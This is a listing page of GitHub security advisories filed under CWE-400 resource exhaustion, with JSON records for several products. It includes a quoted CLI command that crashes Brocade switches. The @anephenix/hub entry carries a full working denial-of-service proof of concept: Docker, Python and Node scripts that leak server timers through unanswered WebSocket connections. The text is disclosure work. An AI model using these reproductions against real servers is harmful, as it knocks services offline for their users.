CWE-400
DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
5646 vulnerabilities reference this CWE, most recent first.
GHSA-G57P-44CP-PJF5
Vulnerability from github – Published: 2026-05-28 21:32 – Updated: 2026-05-28 21:32Vulnerability in Oracle REST Data Services (component: Core). Supported versions that are affected are 24.2.0-26.1.0. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle REST Data Services. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle REST Data Services, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle REST Data Services accessible data as well as unauthorized access to critical data or complete access to all Oracle REST Data Services accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle REST Data Services. CVSS 3.1 Base Score 7.9 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L).
{
"affected": [],
"aliases": [
"CVE-2026-35266"
],
"database_specific": {
"cwe_ids": [
"CWE-352",
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-28T21:16:29Z",
"severity": "HIGH"
},
"details": "Vulnerability in Oracle REST Data Services (component: Core). Supported versions that are affected are 24.2.0-26.1.0. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle REST Data Services. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle REST Data Services, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle REST Data Services accessible data as well as unauthorized access to critical data or complete access to all Oracle REST Data Services accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle REST Data Services. CVSS 3.1 Base Score 7.9 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L).",
"id": "GHSA-g57p-44cp-pjf5",
"modified": "2026-05-28T21:32:04Z",
"published": "2026-05-28T21:32:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35266"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cspumay2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-G59V-XW9P-FC4R
Vulnerability from github – Published: 2022-05-02 00:00 – Updated: 2025-04-09 03:57The shmem_delete_inode function in mm/shmem.c in the tmpfs implementation in the Linux kernel before 2.6.26.1 allows local users to cause a denial of service (system crash) via a certain sequence of file create, remove, and overwrite operations, as demonstrated by the insserv program, related to allocation of "useless pages" and improper maintenance of the i_blocks count.
{
"affected": [],
"aliases": [
"CVE-2008-3534"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-08-08T19:41:00Z",
"severity": "MODERATE"
},
"details": "The shmem_delete_inode function in mm/shmem.c in the tmpfs implementation in the Linux kernel before 2.6.26.1 allows local users to cause a denial of service (system crash) via a certain sequence of file create, remove, and overwrite operations, as demonstrated by the insserv program, related to allocation of \"useless pages\" and improper maintenance of the i_blocks count.",
"id": "GHSA-g59v-xw9p-fc4r",
"modified": "2025-04-09T03:57:19Z",
"published": "2022-05-02T00:00:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-3534"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/44489"
},
{
"type": "WEB",
"url": "http://git.kernel.org/?p=linux/kernel/git/stable/linux-2.6.26.y.git%3Ba=commit%3Bh=14fcc23fdc78e9d32372553ccf21758a9bd56fa1"
},
{
"type": "WEB",
"url": "http://git.kernel.org/?p=linux/kernel/git/stable/linux-2.6.26.y.git;a=commit;h=14fcc23fdc78e9d32372553ccf21758a9bd56fa1"
},
{
"type": "WEB",
"url": "http://lkml.org/lkml/2008/7/26/71"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/31881"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/32190"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/32393"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2008/dsa-1636"
},
{
"type": "WEB",
"url": "http://www.kernel.org/pub/linux/kernel/v2.6/ChangeLog-2.6.26.1"
},
{
"type": "WEB",
"url": "http://www.redhat.com/support/errata/RHSA-2008-0857.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/31134"
},
{
"type": "WEB",
"url": "http://www.ubuntu.com/usn/usn-659-1"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-G5C7-69G3-565R
Vulnerability from github – Published: 2023-08-31 03:30 – Updated: 2026-02-20 21:31A segmentation fault can occur in Brocade Fabric OS after Brocade Fabric OS v9.0 and before Brocade Fabric OS v9.2.0a through the passwdcfg command. This could allow an authenticated privileged user local user to crash a Brocade Fabric OS swith using the cli “passwdcfg --set -expire -minDiff“.
{
"affected": [],
"aliases": [
"CVE-2023-4162"
],
"database_specific": {
"cwe_ids": [
"CWE-125",
"CWE-252",
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-31T01:15:08Z",
"severity": "MODERATE"
},
"details": "A\n segmentation fault can occur in Brocade Fabric OS after Brocade Fabric \nOS v9.0 and before Brocade Fabric OS v9.2.0a through the passwdcfg \ncommand. This\n could allow an authenticated privileged user local user to crash a \nBrocade Fabric OS swith using the cli \u201cpasswdcfg --set -expire \n-minDiff\u201c.\n\n",
"id": "GHSA-g5c7-69g3-565r",
"modified": "2026-02-20T21:31:14Z",
"published": "2023-08-31T03:30:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-4162"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20231124-0010"
},
{
"type": "WEB",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/22513"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G5GJ-9GGF-9VMQ
Vulnerability from github – Published: 2021-11-10 20:38 – Updated: 2023-10-02 15:58OctoRPKI (github.com/cloudflare/cfrpki/cmd/octorpki) does not limit the depth of a certificate chain, allowing for a CA to create children in an ad-hoc fashion, thereby making tree traversal never end.
For more information
If you have any questions or comments about this advisory email us at security@cloudflare.com
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/cloudflare/cfrpki"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-3908"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2021-11-10T18:18:55Z",
"nvd_published_at": "2021-11-11T22:15:00Z",
"severity": "MODERATE"
},
"details": "OctoRPKI (github.com/cloudflare/cfrpki/cmd/octorpki) does not limit the depth of a certificate chain, allowing for a CA to create children in an ad-hoc fashion, thereby making tree traversal never end.\n\n### For more information\nIf you have any questions or comments about this advisory email us at security@cloudflare.com \n",
"id": "GHSA-g5gj-9ggf-9vmq",
"modified": "2023-10-02T15:58:02Z",
"published": "2021-11-10T20:38:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cloudflare/cfrpki/security/advisories/GHSA-g5gj-9ggf-9vmq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3908"
},
{
"type": "PACKAGE",
"url": "https://github.com/cloudflare/cfrpki"
},
{
"type": "WEB",
"url": "https://github.com/cloudflare/cfrpki/releases/tag/v1.4.0"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2022/dsa-5041"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Infinite certificate chain depth results in OctoRPKI running forever"
}
GHSA-G5GV-J2X8-CXR2
Vulnerability from github – Published: 2022-05-24 17:18 – Updated: 2022-05-24 17:18PowerDNS Recursor from 4.1.0 up to and including 4.3.0 does not sufficiently defend against amplification attacks. An issue in the DNS protocol has been found that allow malicious parties to use recursive DNS services to attack third party authoritative name servers. The attack uses a crafted reply by an authoritative name server to amplify the resulting traffic between the recursive and other authoritative name servers. Both types of service can suffer degraded performance as an effect. This is triggered by random subdomains in the NSDNAME in NS records. PowerDNS Recursor 4.1.16, 4.2.2 and 4.3.1 contain a mitigation to limit the impact of this DNS protocol issue.
{
"affected": [],
"aliases": [
"CVE-2020-10995"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-674"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-05-19T17:15:00Z",
"severity": "MODERATE"
},
"details": "PowerDNS Recursor from 4.1.0 up to and including 4.3.0 does not sufficiently defend against amplification attacks. An issue in the DNS protocol has been found that allow malicious parties to use recursive DNS services to attack third party authoritative name servers. The attack uses a crafted reply by an authoritative name server to amplify the resulting traffic between the recursive and other authoritative name servers. Both types of service can suffer degraded performance as an effect. This is triggered by random subdomains in the NSDNAME in NS records. PowerDNS Recursor 4.1.16, 4.2.2 and 4.3.1 contain a mitigation to limit the impact of this DNS protocol issue.",
"id": "GHSA-g5gv-j2x8-cxr2",
"modified": "2022-05-24T17:18:06Z",
"published": "2022-05-24T17:18:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-10995"
},
{
"type": "WEB",
"url": "https://doc.powerdns.com/recursor/security-advisories/powerdns-advisory-2020-01.html"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/NMP72NJGKBWR5WEBXAWX5KSLQUDFTG6S"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PS4ZN5XGENYNFKX7QIIOUCQQHXE37GJF"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2020/dsa-4691"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-05/msg00052.html"
},
{
"type": "WEB",
"url": "http://www.nxnsattack.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G5JH-57WM-P79M
Vulnerability from github – Published: 2024-09-04 15:30 – Updated: 2025-05-14 19:15A flaw was found in Aardvark-dns versions 1.12.0 and 1.12.1. They contain a denial of service vulnerability due to serial processing of TCP DNS queries. This flaw allows a malicious client to keep a TCP connection open indefinitely, causing other DNS queries to time out and resulting in a denial of service for all other containers using aardvark-dns.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "aardvark-dns"
},
"ranges": [
{
"events": [
{
"introduced": "1.12.0"
},
{
"fixed": "1.12.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-8418"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2024-09-04T17:22:36Z",
"nvd_published_at": "2024-09-04T15:15:15Z",
"severity": "HIGH"
},
"details": "A flaw was found in Aardvark-dns versions 1.12.0 and 1.12.1. They contain a denial of service vulnerability due to serial processing of TCP DNS queries. This flaw allows a malicious client to keep a TCP connection open indefinitely, causing other DNS queries to time out and resulting in a denial of service for all other containers using aardvark-dns.",
"id": "GHSA-g5jh-57wm-p79m",
"modified": "2025-05-14T19:15:26Z",
"published": "2024-09-04T15:30:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8418"
},
{
"type": "WEB",
"url": "https://github.com/containers/aardvark-dns/issues/500"
},
{
"type": "WEB",
"url": "https://github.com/containers/aardvark-dns/pull/503"
},
{
"type": "WEB",
"url": "https://github.com/containers/aardvark-dns/commit/aa109bbd6743abd7027e589cc4b871dd2dce7d50"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:7094"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2024-8418"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2309683"
},
{
"type": "PACKAGE",
"url": "https://github.com/containers/aardvark-dns"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Missing connection timeout in Aardvark-dns"
}
GHSA-G5MF-WQQ5-VWG6
Vulnerability from github – Published: 2026-05-18 20:33 – Updated: 2026-06-11 14:04Because of a missing check in the MNG coder it would be possible to read more images than the list limit policy would allow resulting in excessive resource use.
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-AnyCPU"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-AnyCPU"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-OpenMP-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-OpenMP-x64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-x64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-x86"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-OpenMP-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-OpenMP-x64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-x64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-x86"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-AnyCPU"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-OpenMP-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-OpenMP-x64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-x64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-x86"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45664"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-407",
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-18T20:33:59Z",
"nvd_published_at": "2026-06-10T22:16:58Z",
"severity": "MODERATE"
},
"details": "Because of a missing check in the MNG coder it would be possible to read more images than the list limit policy would allow resulting in excessive resource use.",
"id": "GHSA-g5mf-wqq5-vwg6",
"modified": "2026-06-11T14:04:48Z",
"published": "2026-05-18T20:33:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-g5mf-wqq5-vwg6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45664"
},
{
"type": "PACKAGE",
"url": "https://github.com/ImageMagick/ImageMagick"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "ImageMagick: Policy Bypass in MNG coder could "
}
GHSA-G5MF-XW7V-RMR9
Vulnerability from github – Published: 2022-05-24 17:34 – Updated: 2022-05-24 17:34A potential DOS vulnerability was discovered in GitLab CE/EE starting with version 12.6. The container registry name check could cause exponential number of backtracks for certain user supplied values resulting in high CPU usage. Affected versions are: >=12.6, <13.3.9.
{
"affected": [],
"aliases": [
"CVE-2020-13354"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-11-17T01:15:00Z",
"severity": "MODERATE"
},
"details": "A potential DOS vulnerability was discovered in GitLab CE/EE starting with version 12.6. The container registry name check could cause exponential number of backtracks for certain user supplied values resulting in high CPU usage. Affected versions are: \u003e=12.6, \u003c13.3.9.",
"id": "GHSA-g5mf-xw7v-rmr9",
"modified": "2022-05-24T17:34:24Z",
"published": "2022-05-24T17:34:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-13354"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/869875"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/cves/-/blob/master/2020/CVE-2020-13354.json"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/220019"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-G5RR-FGVG-Q29H
Vulnerability from github – Published: 2026-07-21 21:32 – Updated: 2026-07-21 21:32Uncontrolled Resource Consumption (CWE-400) in Elasticsearch can lead to denial of service via Excessive Allocation (CAPEC-130). A user with search privileges can submit a specially crafted search request that causes a data node to exhaust available heap memory, resulting in node unavailability and cluster degradation. An attacker could leverage this vulnerability to cause cluster downtime requiring manual intervention to restore service.
{
"affected": [],
"aliases": [
"CVE-2026-63136"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-21T21:16:52Z",
"severity": "MODERATE"
},
"details": "Uncontrolled Resource Consumption (CWE-400) in Elasticsearch can lead to denial of service via Excessive Allocation (CAPEC-130). A user with search privileges can submit a specially crafted search request that causes a data node to exhaust available heap memory, resulting in node unavailability and cluster degradation. An attacker could leverage this vulnerability to cause cluster downtime requiring manual intervention to restore service.",
"id": "GHSA-g5rr-fgvg-q29h",
"modified": "2026-07-21T21:32:42Z",
"published": "2026-07-21T21:32:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63136"
},
{
"type": "WEB",
"url": "https://discuss.elastic.co/t/elasticsearch-8-19-15-9-2-9-9-3-4-security-update-esa-2026-60/388559"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G5VV-Q72C-7J78
Vulnerability from github – Published: 2026-07-24 21:47 – Updated: 2026-07-24 21:47Summary
@anephenix/hub starts a setInterval polling loop for every incoming WebSocket connection to request a client ID via RPC. If the remote client never replies — which requires no authentication or special configuration — the interval and the pending request object are never cleaned up, even after the socket is closed. An unauthenticated attacker who opens many WebSocket connections and ignores all server RPC messages will therefore cause the server to accumulate unbounded timers and heap entries, leading to CPU and memory exhaustion (DoS).
Details
When a client connects, loadDefaultConnectionEventListeners (registered in src/lib/index.ts:128) adds a connection listener that calls requestClientId({ ws, rpc }) for every new WebSocket (src/lib/index.ts:262). requestClientId issues an RPC send for the get-client-id action (src/lib/clientId.ts:112), which internally calls rpc.send.
Inside rpc.send, the payload is pushed onto this.requests (src/lib/rpc.ts:282) and waitForReply is invoked. waitForReply starts a setInterval that polls responses[] every 10 ms for a matching reply (src/lib/rpc.ts:250):
// src/lib/rpc.ts:250–267
interval = setInterval(() => {
const response = responses.find(
(r) => r.id === id && r.action === action,
);
if (response) {
if (interval) clearInterval(interval);
// ... resolve and cleanup
this.cleanupRPCCall(response);
}
}, 10);
clearInterval is only called when a matching response arrives. There is no timeout path and no socket-close handler that clears either the interval or the this.requests entry. The close handler registered in loadDefaultConnectionEventListeners (src/lib/index.ts:128–134) only calls pubsub.unsubscribeClientFromAllChannels; it does not cancel pending RPC requests for that socket.
Data flow (source → sink):
src/lib/index.ts:269—wss.on("connection")accepts any remote WebSocket (no authentication).src/lib/index.ts:272— connection listeners are iterated and invoked.src/lib/index.ts:262—requestClientId({ ws, rpc: this.rpc })is called for every connection by default.src/lib/clientId.ts:112—rpc.send({ ws, action: 'get-client-id' })creates an RPC request.src/lib/rpc.ts:282—this.requests.push(payload)registers the pending request.src/lib/rpc.ts:250—setInterval(..., 10)begins infinite polling; cleanup only happens on a matching response. Socket close does not trigger cleanup.
PoC
Prerequisites: Docker must be available on the host.
Step 1 — Build the verification image:
docker build --no-cache \
-f vuln-001/Dockerfile \
-t hub-vuln-001:latest \
reports/npm_web_272_anephenix__hub
Step 2 — Run the container:
docker run --rm --network none hub-vuln-001:latest
The container runs verify.mjs, which:
1. Starts a Hub server on a local port.
2. Opens a WebSocket and waits for the server's get-client-id RPC message without replying.
3. Closes the socket and waits 300 ms.
4. Inspects hub.rpc.requests.length — it must remain 1 even though hub.wss.clients.size is 0.
5. Opens five more sockets the same way (batch), then verifies that pendingRpcRequests equals 6.
Step 3 — Alternatively, run the Python orchestrator directly:
python3 vuln-001/poc.py
Expected output (confirmed):
{
"snapshotAfterClose": {"clientState": 3, "serverClients": 0, "pendingRpcRequests": 1},
"snapshotAfterBatch": {"serverClients": 0, "pendingRpcRequests": 6, "expectedPendingRpcRequests": 6}
}
pendingRpcRequests grows linearly with the number of unanswered connections and never decreases, confirming the unbounded resource leak.
Minimal inline reproduction (without Docker, inside the repository after npm ci && npm run build):
node --input-type=module - <<'EOF'
import Hub from './dist/esm/index.js';
import { WebSocket } from 'ws';
const port = 8766;
const hub = new Hub({ port });
hub.listen();
const ws = new WebSocket(`ws://localhost:${port}`);
await new Promise((resolve) => ws.once('message', resolve));
ws.close();
await new Promise((resolve) => setTimeout(resolve, 300));
console.log(JSON.stringify({
serverClients: hub.wss.clients.size,
pendingRpcRequests: hub.rpc.requests.length,
}));
hub.server.close();
process.exit(0);
EOF
Expected:
{"serverClients": 0, "pendingRpcRequests": 1}
Impact
This is an unauthenticated Denial-of-Service vulnerability. Any network-reachable @anephenix/hub server running with default configuration is affected. An attacker who opens a large number of WebSocket connections and never replies to the server's get-client-id RPC causes the server process to accumulate one setInterval timer (polling every 10 ms) and one heap object per connection indefinitely. With enough connections this exhausts CPU scheduling time and memory, making the server unavailable to legitimate clients.
No authentication, special headers, or knowledge of internal protocol details are required — a plain WebSocket connect followed by silence is sufficient.
Reproduction artifacts
Dockerfile
FROM node:20-alpine
RUN apk add --no-cache python3 make g++
WORKDIR /app
# Install dependencies first for layer caching
COPY repo/package.json repo/package-lock.json ./
RUN npm ci --ignore-scripts
# Copy the rest of the source and build
COPY repo/ ./
RUN npm run build
# Copy the vulnerability verification script into /app so node_modules is resolvable
COPY vuln-001/verify.mjs /app/verify.mjs
CMD ["node", "/app/verify.mjs"]
poc.py
#!/usr/bin/env python3
"""
VULN-001 PoC — Unauthenticated WebSocket RPC Waiter Resource Exhaustion
(@anephenix/hub v0.2.15)
Builds a Docker image containing the hub library and a verification script,
then runs the container to produce deterministic evidence that
hub.rpc.requests[] entries (and their backing setInterval timers) are never
cleaned up when a WebSocket client disconnects without replying to the
server's "get-client-id" RPC request.
Usage:
python3 poc.py
Exit codes:
0 — vulnerability confirmed (PASS)
1 — not reproduced (FAIL)
2 — environment / build error
"""
import json
import subprocess
import sys
from pathlib import Path
# ---------------------------------------------------------------------------
# Paths
# ---------------------------------------------------------------------------
SCRIPT_DIR = Path(__file__).resolve().parent
REPO_ROOT = SCRIPT_DIR.parent # …/npm_web_272_anephenix__hub/
DOCKERFILE = SCRIPT_DIR / "Dockerfile"
POC_TAG = "hub-vuln-001:latest"
BUILD_CMD = [
"docker", "build",
"--no-cache",
"-f", str(DOCKERFILE),
"-t", POC_TAG,
str(REPO_ROOT), # build context = parent dir so COPY repo/ and COPY vuln-001/ both resolve
]
RUN_CMD = [
"docker", "run",
"--rm",
"--network", "none", # no external network access needed
POC_TAG,
]
def banner(msg: str) -> None:
print(f"\n{'='*60}\n {msg}\n{'='*60}")
def run(cmd: list[str], **kwargs) -> subprocess.CompletedProcess:
print("$", " ".join(cmd))
return subprocess.run(cmd, **kwargs)
def build_image() -> None:
banner("Phase 1 — Building Docker image")
result = run(BUILD_CMD, capture_output=False)
if result.returncode != 0:
print("[ERROR] Docker build failed.", file=sys.stderr)
sys.exit(2)
print("[OK] Image built:", POC_TAG)
def run_poc() -> dict:
banner("Phase 2 — Running vulnerability verification inside container")
result = run(RUN_CMD, capture_output=True, text=True)
print("--- container stdout ---")
print(result.stdout)
if result.stderr:
print("--- container stderr ---")
print(result.stderr)
# The container exits 0 on confirmed leak, 1 otherwise.
if result.returncode == 2:
print("[ERROR] Verification script crashed.", file=sys.stderr)
sys.exit(2)
try:
data = json.loads(result.stdout)
except json.JSONDecodeError as exc:
print(f"[ERROR] Could not parse container output as JSON: {exc}", file=sys.stderr)
sys.exit(2)
return data, result.returncode
def evaluate(data: dict, container_exit: int) -> tuple[bool, str]:
"""Return (passed, evidence_summary)."""
after_close = data.get("snapshotAfterClose", {})
after_batch = data.get("snapshotAfterBatch", {})
leaked_single = (
after_close.get("pendingRpcRequests", 0) > 0 and
after_close.get("serverClients", -1) == 0 and
after_close.get("clientState", -1) == 3 # WebSocket.CLOSED
)
leaked_batch = (
after_batch.get("pendingRpcRequests", 0) ==
after_batch.get("expectedPendingRpcRequests", -1)
)
passed = leaked_single and leaked_batch and container_exit == 0
evidence = (
f"snapshotAfterClose={json.dumps(after_close)}; "
f"snapshotAfterBatch={json.dumps(after_batch)}; "
f"container_exit={container_exit}"
)
return passed, evidence
def main() -> None:
build_image()
data, container_exit = run_poc()
banner("Phase 3 — Evaluating results")
passed, evidence = evaluate(data, container_exit)
if passed:
print("[PASS] Leak confirmed: RPC waiter entries persist after socket close.")
else:
print("[FAIL] Leak NOT observed — check container output above.")
return passed, evidence, data
if __name__ == "__main__":
passed, evidence, raw = main()
verdict = "PASS" if passed else "FAIL"
reason = (
"소켓이 닫힌 뒤에도 hub.rpc.requests[] 항목과 setInterval 타이머가 해제되지 않음이 "
"런타임 검사로 확인됨. 단일 연결에서 pendingRpcRequests=1이 유지되고, "
"배치 5개 추가 후 총 6개가 누적되어 선형 리소스 누수가 증명됨."
if passed else
"컨테이너 실행 결과에서 결정적 증거를 확보하지 못했음."
)
result_path = SCRIPT_DIR / "phase2_result.json"
phase2 = {
"passed": passed,
"verdict": verdict,
"reason": reason,
"build_command": " ".join(BUILD_CMD),
"run_command": " ".join(RUN_CMD),
"poc_command": f"python3 {Path(__file__).name}",
"evidence": evidence,
"artifacts": ["Dockerfile", "verify.mjs", "poc.py"],
}
result_path.write_text(json.dumps(phase2, indent=2, ensure_ascii=False))
print(f"\n[INFO] Results written to {result_path}")
sys.exit(0 if passed else 1)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@anephenix/hub"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
